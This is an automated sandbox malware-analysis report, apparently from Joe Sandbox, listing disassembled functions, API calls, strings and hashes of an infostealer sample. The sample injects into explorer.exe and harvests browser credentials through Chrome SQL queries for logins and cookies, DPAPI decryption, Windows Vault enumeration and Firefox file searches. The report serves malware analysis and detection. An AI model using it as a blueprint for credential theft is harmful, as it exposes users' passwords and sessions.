Opcode ID: fccf324384e8c83a597fe9a4c1c3b15edd22fbc21d66c74b7e4d5d85c879ca18
Instruction ID: bce1075bd6c2f39f63a36d665dcafc0c7d86377b285ab1b50b00bcc6d13fa5ee
Opcode Fuzzy Hash: fccf324384e8c83a597fe9a4c1c3b15edd22fbc21d66c74b7e4d5d85c879ca18
Instruction Fuzzy Hash: 9801DFB2709204EADB009A849E51FBA3325AB40711F304177B603780F1C53C8513BF6F

Function 004019A2 Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019CE

Part of subcall function 00401597: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401652
Part of subcall function 00401597: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040167F
Part of subcall function 00401597: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016A2

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: eb729094e9229a7d192e463be9b74b04ee994b65f43a785d20844c218813b556
Instruction ID: c54bd8278c0422601412dfbbaffd59a802a85759ca8d789bb59a0b432e62659e
Opcode Fuzzy Hash: eb729094e9229a7d192e463be9b74b04ee994b65f43a785d20844c218813b556
Instruction Fuzzy Hash: EA018B72719245FADB009A859D51FAA3629AB44711F304177B603B80F2D53C8512BE6F

Function 0040199F Relevance: 1.3, APIs: 1, Instructions: 49sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019CE

Part of subcall function 00401597: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401652
Part of subcall function 00401597: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040167F
Part of subcall function 00401597: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016A2

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a0b1578ffed3b6090f3330c07849541098d99241da9b310e6fbab4e92d5445be
Instruction ID: c4e31ccbe51ade33d5422f141b2801c2a58f39f165a814ade8e731c3b2ff61ab
Opcode Fuzzy Hash: a0b1578ffed3b6090f3330c07849541098d99241da9b310e6fbab4e92d5445be
Instruction Fuzzy Hash: 4D016D72719245EADB005A949E51FBA3625AB44711F304177B613780F5C53C8513BF2F

Function 004019AB Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019CE

Part of subcall function 00401597: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401652
Part of subcall function 00401597: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040167F
Part of subcall function 00401597: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016A2

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 82c4946c3625fc2f16c037b40791823d007d1c4d34ee98bf3048008ecc9f3771
Instruction ID: f3fa57dbd4666dd34be6456021c8c5f3785eb3dc384f664cb3cf41b0e000e7fa
Opcode Fuzzy Hash: 82c4946c3625fc2f16c037b40791823d007d1c4d34ee98bf3048008ecc9f3771
Instruction Fuzzy Hash: E6F03176319145EADB106A95AD51FB93725AB44321F304177F613780F6C63C8512BF2F

Function 004019BD Relevance: 1.3, APIs: 1, Instructions: 44sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019CE

Part of subcall function 00401597: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401652
Part of subcall function 00401597: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040167F
Part of subcall function 00401597: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016A2

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 89346fa385080b9f3f133b0d3ec6a03e7f67549b3ed6c5b23df429eabbd15011
Instruction ID: 84750dfba710f96cae65e071dcd4f88f4ec9410a91285a7ed0e292360a6f7811
Opcode Fuzzy Hash: 89346fa385080b9f3f133b0d3ec6a03e7f67549b3ed6c5b23df429eabbd15011
Instruction Fuzzy Hash: BEF04F72319245FADB015A94AD41BBE3769AB44311F308177B613B80F5C53C8512BF2F

Function 004019B2 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019CE

Part of subcall function 00401597: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401652
Part of subcall function 00401597: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040167F
Part of subcall function 00401597: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016A2

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: de8874d48845eae4f1a19f9b5aa7761743db835d0add5313cf27f1d0da932191
Instruction ID: c9652ae7dc6dae044938ba6b82b21a86f007e17a080de909f10d87e24065c944
Opcode Fuzzy Hash: de8874d48845eae4f1a19f9b5aa7761743db835d0add5313cf27f1d0da932191
Instruction Fuzzy Hash: AEF04F72315245FADB106E949D41FAA3725AB44311F308177B613B80F6D53C8512BF2F

Non-executed Functions

Function 004032DC Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab996c8f6adeb1f811560704ce36dee006d49d645bc85f4b77d0051227f1598a
Instruction ID: c79f4b869008ced6ceb997418ae70e62909748bd184317ec6e10328692c13fab
Opcode Fuzzy Hash: ab996c8f6adeb1f811560704ce36dee006d49d645bc85f4b77d0051227f1598a
Instruction Fuzzy Hash: 76818B62409381AFC7138F3488955A27FA8AE5332271844FFC4D19B2E3E63D5B06D75A

Function 004022A8 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0bf8c7eaa3a37be3b3b29c24a77746cc94992b84e6c83370dbbf60a388f8e06
Instruction ID: 650921735e063de18cdef73246c5fdd7c9a102fb49419af3aad5742e618652a4
Opcode Fuzzy Hash: e0bf8c7eaa3a37be3b3b29c24a77746cc94992b84e6c83370dbbf60a388f8e06
Instruction Fuzzy Hash: 72217877A882D28ECF87C97888441C83BC2989F224B4CB1BBC860DB193F325505BC6E1

Function 004022DE Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3fe677114ba363ad11bc2741d66cbc5f11498b5d6a0ee6581245e02853eaab4
Instruction ID: 4d10188d7c84e24bf19bc5e9335db40da8dd412138308f7ff1bcf2cb767e1b42
Opcode Fuzzy Hash: b3fe677114ba363ad11bc2741d66cbc5f11498b5d6a0ee6581245e02853eaab4
Instruction Fuzzy Hash: 7C118C3698C2D28EDB47CE398C455C47F915C6B62074CA2BEC960CF2D7E228504BC3D1

Analysis Process: explorer.exePID: 1868, Parent PID: 4084COMMON

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	47.6%
Signature Coverage:	20%
Total number of Nodes:	699
Total number of Limit Nodes:	81

Executed Functions

Function 007E3717 Relevance: 45.9, APIs: 19, Strings: 7, Instructions: 401
stringfileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007E1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,007E2893,00000000,00000000,00000000,?), ref: 007E1B82
Part of subcall function 007E1B6A: CloseHandle.KERNELBASE(00000000), ref: 007E1B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 007E3778
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 007E3782
DeleteFileW.KERNELBASE(00000000), ref: 007E3789
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 007E3794
RtlCompareMemory.NTDLL(00000000,?,00000003), ref: 007E383B
RtlZeroMemory.NTDLL(?,00000040), ref: 007E3870
lstrlen.KERNEL32(?,?,?,?,?), ref: 007E398B
lstrlen.KERNEL32(00000000), ref: 007E399A
wsprintfA.USER32 ref: 007E39F1
lstrlen.KERNEL32(00000000,?,?), ref: 007E39FD
lstrcat.KERNEL32(00000000,?), ref: 007E3A21
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 007E3A49
lstrlen.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 007E3B13
lstrlen.KERNEL32(00000000), ref: 007E3B22
wsprintfA.USER32 ref: 007E3B79
lstrlen.KERNEL32(00000000), ref: 007E3B85
lstrcat.KERNEL32(00000000,?), ref: 007E3BA9
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 007E3BDA
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 007E3C16

Strings

TRUE, xrefs: 007E39C9, 007E3B51
COOKIES, xrefs: 007E3BE8, 007E3BED, 007E3BF6
FALSE, xrefs: 007E39BC, 007E3B3C
SELECT host_key,path,is_secure,name,encrypted_value FROM cookies, xrefs: 007E37C3
0, xrefs: 007E3828
%sTRUE%s%s%s%s%s, xrefs: 007E39EB, 007E3B73
v1, xrefs: 007E3821

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: lstrlen$File$DeleteMemoryTemplstrcatwsprintf$CloseCompareCopyCreateCryptDataHandleNamePathUnprotectZero
String ID: %sTRUE%s%s%s%s%s$0$COOKIES$FALSE$SELECT host_key,path,is_secure,name,encrypted_value FROM cookies$TRUE$v1
API String ID: 584740257-404540950
Opcode ID: 753084e603ae571b803a6543b9e1a35dddd2a2558f8ec96fa24b99e8e471b918
Instruction ID: c19e1182df77cdfa0020508354a497a0b2c3dea1f17149397ddfd1d544c0f087
Opcode Fuzzy Hash: 753084e603ae571b803a6543b9e1a35dddd2a2558f8ec96fa24b99e8e471b918
Instruction Fuzzy Hash: 49E19E7060A381AFD715DF26C889A2FBBE9BFC9344F04882CF58597251EB39C945CB52

Function 007E2198 Relevance: 33.5, APIs: 12, Strings: 7, Instructions: 242
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlZeroMemory.NTDLL(?,00000114), ref: 007E21AF
GetVersionExW.KERNEL32(?), ref: 007E21BE
LoadLibraryW.KERNELBASE(vaultcli.dll), ref: 007E21E8
GetProcAddress.KERNEL32(00000000,VaultOpenVault), ref: 007E220A
GetProcAddress.KERNEL32(00000000,VaultCloseVault), ref: 007E2214
GetProcAddress.KERNEL32(00000000,VaultEnumerateItems), ref: 007E2220
GetProcAddress.KERNEL32(00000000,VaultGetItem), ref: 007E222A
GetProcAddress.KERNEL32(00000000,VaultFree), ref: 007E2236
RtlCompareMemory.NTDLL(?,00841110,00000010), ref: 007E22E8
RtlCompareMemory.NTDLL(?,00841110,00000010), ref: 007E236C

Part of subcall function 007E1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,007E2F0C), ref: 007E1973
Part of subcall function 007E1953: lstrlenW.KERNEL32(00836564,?,?,007E2F0C), ref: 007E1978
Part of subcall function 007E1953: lstrcatW.KERNEL32(00000000,?,?,?,007E2F0C), ref: 007E1990
Part of subcall function 007E1953: lstrcatW.KERNEL32(00000000,00836564,?,?,007E2F0C), ref: 007E1994

StrStrIW.SHLWAPI(?,Internet Explorer), ref: 007E23FE
FreeLibrary.KERNELBASE(00000000), ref: 007E2493

Strings

vaultcli.dll, xrefs: 007E21E3
VaultCloseVault, xrefs: 007E220C
VaultGetItem, xrefs: 007E2222
VaultOpenVault, xrefs: 007E2204
VaultFree, xrefs: 007E222C
VaultEnumerateItems, xrefs: 007E2216
Internet Explorer, xrefs: 007E23F8

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: AddressProc$Memory$CompareLibrarylstrcatlstrlen$FreeLoadVersionZero
String ID: Internet Explorer$VaultCloseVault$VaultEnumerateItems$VaultFree$VaultGetItem$VaultOpenVault$vaultcli.dll
API String ID: 2583887280-2831467701
Opcode ID: 0292ed1df022c81f5dcd2d52238aa2f4ea3fa1f1cd1eb30cbba1afe2d1eac21b
Instruction ID: ffcefda6b85ab79197bc31c6ffda1880c97141064d41ee32cee0ab7b78d12066
Opcode Fuzzy Hash: 0292ed1df022c81f5dcd2d52238aa2f4ea3fa1f1cd1eb30cbba1afe2d1eac21b
Instruction Fuzzy Hash: 3F91AB71A09381AFC714DF66C855A2FBBE9BFD9704F00882DF58597252EA78DC02CB52

Function 007E3098 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 248
fileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007E1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,007E2893,00000000,00000000,00000000,?), ref: 007E1B82
Part of subcall function 007E1B6A: CloseHandle.KERNELBASE(00000000), ref: 007E1B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 007E30F9
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 007E3103
DeleteFileW.KERNELBASE(00000000), ref: 007E310A
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 007E3115
RtlCompareMemory.NTDLL(00000000,00000000,00000003), ref: 007E31A4
RtlZeroMemory.NTDLL(?,00000040), ref: 007E31D7
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 007E32DF
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 007E339C

Strings

0, xrefs: 007E3191
@, xrefs: 007E31F1
SELECT origin_url,username_value,password_value FROM logins, xrefs: 007E3136
v1, xrefs: 007E318A

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: File$DeleteMemoryTemp$CloseCompareCopyCreateCryptDataHandleNamePathUnprotectZero
String ID: 0$@$SELECT origin_url,username_value,password_value FROM logins$v1
API String ID: 2757140130-4052020286
Opcode ID: c077a95fdc3b928c52052dbc3b524e92b69cacb39cf24aee9e36be19e403fc5b
Instruction ID: d60b5315e16193540f4e0e82634e14d1bc331df4ff5a2368742eed650a574a05
Opcode Fuzzy Hash: c077a95fdc3b928c52052dbc3b524e92b69cacb39cf24aee9e36be19e403fc5b
Instruction Fuzzy Hash: F2918A71209381ABD710DF2AC849E2FBBE9BFC9744F04492CF58597291EB39DE448B52

Function 007E3ED9 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 82
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007E1000: GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
Part of subcall function 007E1000: RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

PathCombineW.SHLWAPI(00000000,00000000,*.*,?,00000000), ref: 007E3F0A
FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 007E3F16
lstrcmpiW.KERNEL32(?,008362CC), ref: 007E3F38
lstrcmpiW.KERNEL32(?,008362D0), ref: 007E3F4C
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 007E3F69
lstrcmpiW.KERNEL32(?,Local State), ref: 007E3F7E
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 007E3F9B
FindNextFileW.KERNELBASE(00000000,00000010), ref: 007E3FB5
FindClose.KERNELBASE(00000000), ref: 007E3FC4

Strings

Local State, xrefs: 007E3F78
*.*, xrefs: 007E3F01

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: CombineFindPathlstrcmpi$FileHeap$AllocateCloseFirstNextProcess
String ID: *.*$Local State
API String ID: 3923353463-3324723383
Opcode ID: 9d664275ea743a71660d54507dfab6b53ac096376d7ceec37c1bfb44e3030af5
Instruction ID: f995dcc161cd655023fbf4e46c67f7efd7837656610af87153d59934936843fd
Opcode Fuzzy Hash: 9d664275ea743a71660d54507dfab6b53ac096376d7ceec37c1bfb44e3030af5
Instruction Fuzzy Hash: F721A130601384BBD714B7368C5DA3F77ACEFC9711F444929B822C3191FB7C8A588661

Function 007E2B15 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 102
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007E1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,007E2F0C), ref: 007E1973
Part of subcall function 007E1953: lstrlenW.KERNEL32(00836564,?,?,007E2F0C), ref: 007E1978
Part of subcall function 007E1953: lstrcatW.KERNEL32(00000000,?,?,?,007E2F0C), ref: 007E1990
Part of subcall function 007E1953: lstrcatW.KERNEL32(00000000,00836564,?,?,007E2F0C), ref: 007E1994

FindFirstFileW.KERNELBASE(00000000,?,00000000,00000000,?,00000000), ref: 007E2B3D
lstrcmpiW.KERNEL32(?,008362CC), ref: 007E2B63
lstrcmpiW.KERNEL32(?,008362D0), ref: 007E2B7B

Part of subcall function 007E19B4: lstrlenW.KERNEL32(00000000,00000000,00000000,007E2CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 007E19C4

StrStrIW.SHLWAPI(00000000,logins.json), ref: 007E2BE7
StrStrIW.SHLWAPI(00000000,cookies.sqlite), ref: 007E2C16
FindNextFileW.KERNELBASE(00000000,00000010), ref: 007E2C43
FindClose.KERNELBASE(00000000), ref: 007E2C52

Strings

\*.*, xrefs: 007E2B15
cookies.sqlite, xrefs: 007E2C10
logins.json, xrefs: 007E2BE1

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: Findlstrlen$Filelstrcatlstrcmpi$CloseFirstNext
String ID: \*.*$cookies.sqlite$logins.json
API String ID: 1108783765-3717368146
Opcode ID: 0a4b7e4c1621d7da20e90d13ba8240a13b8dff5738097deadc3fbf64f348fc1f
Instruction ID: 94c409f55036d47cdaf06fd1acd6f40e8ac4a0454a10d3f8fd8e0aa37e19b58a
Opcode Fuzzy Hash: 0a4b7e4c1621d7da20e90d13ba8240a13b8dff5738097deadc3fbf64f348fc1f
Instruction Fuzzy Hash: D43192303053859B8B14AB7A8C9A93E63D9BBCC700F548928B955D2293FB7CCD169261

Function 007E1D4A Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 109
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007E19B4: lstrlenW.KERNEL32(00000000,00000000,00000000,007E2CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 007E19C4

FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 007E1DA9
lstrcmpiW.KERNEL32(?,008362CC), ref: 007E1DCF
lstrcmpiW.KERNEL32(?,008362D0), ref: 007E1DE7
lstrcmpiW.KERNEL32(?,?), ref: 007E1E62

Part of subcall function 007E1CF7: lstrlenW.KERNEL32(00000000,00000000,00000000,007E2C27), ref: 007E1D02
Part of subcall function 007E1CF7: RtlComputeCrc32.NTDLL(00000000,00000000,00000000), ref: 007E1D0D

FindNextFileW.KERNELBASE(00000000,00000010), ref: 007E1E94
FindClose.KERNELBASE(00000000), ref: 007E1EA3

Part of subcall function 007E1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,007E2F0C), ref: 007E1973
Part of subcall function 007E1953: lstrlenW.KERNEL32(00836564,?,?,007E2F0C), ref: 007E1978
Part of subcall function 007E1953: lstrcatW.KERNEL32(00000000,?,?,?,007E2F0C), ref: 007E1990
Part of subcall function 007E1953: lstrcatW.KERNEL32(00000000,00836564,?,?,007E2F0C), ref: 007E1994

Strings

*.*, xrefs: 007E1D8B
\*.*, xrefs: 007E1D79

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: lstrlen$Findlstrcmpi$Filelstrcat$CloseComputeCrc32FirstNext
String ID: *.*$\*.*
API String ID: 232625764-1692270452
Opcode ID: ed488d392e2ada254dc6b13855e888e4efb9c350a98b6459447b96b99cb759e2
Instruction ID: f9a816ac80dba1f9d2eef14cdf8468ccd44a798e9d57710d1ebcd4bd7fbb6d8c
Opcode Fuzzy Hash: ed488d392e2ada254dc6b13855e888e4efb9c350a98b6459447b96b99cb759e2
Instruction Fuzzy Hash: D731A9303053C19BCB24EB76889AA6F77E9AFCC341F444A29F946C7251EB7DCC198691

Function 007E3E04 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 75
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007E1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,007E2893,00000000,00000000,00000000,?), ref: 007E1B82
Part of subcall function 007E1B6A: CloseHandle.KERNELBASE(00000000), ref: 007E1B8F

Part of subcall function 007E1C31: CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000000,00000000,00000000,007E3E1E,00000000,?,007E3FA8), ref: 007E1C46
Part of subcall function 007E1C31: GetFileSize.KERNEL32(00000000,00000000,00000000,?,007E3FA8), ref: 007E1C56
Part of subcall function 007E1C31: ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,007E3FA8), ref: 007E1C76
Part of subcall function 007E1C31: CloseHandle.KERNELBASE(00000000,?,007E3FA8), ref: 007E1C91

Part of subcall function 007E2FB1: StrStrIA.KERNELBASE(00000000,"encrypted_key":",00000000,00000000,00000000,007E3E30,00000000,00000000,?,007E3FA8), ref: 007E2FC1
Part of subcall function 007E2FB1: lstrlen.KERNEL32("encrypted_key":",?,007E3FA8), ref: 007E2FCE
Part of subcall function 007E2FB1: StrStrIA.SHLWAPI("encrypted_key":",0083692C,?,007E3FA8), ref: 007E2FDD

Part of subcall function 007E123B: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,007E3E4B,00000000), ref: 007E124A
Part of subcall function 007E123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 007E1268
Part of subcall function 007E123B: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 007E1295

RtlCompareMemory.NTDLL(00000000,IDPAP,00000005), ref: 007E3E74
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 007E3E9E

Strings

DPAP, xrefs: 007E3E5A
, xrefs: 007E3EA8
IDPAP, xrefs: 007E3E6E, 007E3E72
DPAP, xrefs: 007E3E52

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: File$Crypt$BinaryCloseCreateHandleStringlstrlen$CompareDataMemoryReadSizeUnprotect
String ID: $DPAP$DPAP$IDPAP
API String ID: 3076719866-957854035
Opcode ID: 3dd3cd6b439b94663e6f72cbc59795a4fcbcd2eb9f9d9690f8e2bb4a715d75f3
Instruction ID: 11e62519d99761594fb79e335db9ccd465c50204c7e25daa28bcb900bda17833
Opcode Fuzzy Hash: 3dd3cd6b439b94663e6f72cbc59795a4fcbcd2eb9f9d9690f8e2bb4a715d75f3
Instruction Fuzzy Hash: 7B2195716053859BD721EA6A8C85A7FB3DD6B8C700F85062DF845C7201EB78CE4587D2

Function 00849247 Relevance: 6.3, APIs: 4, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

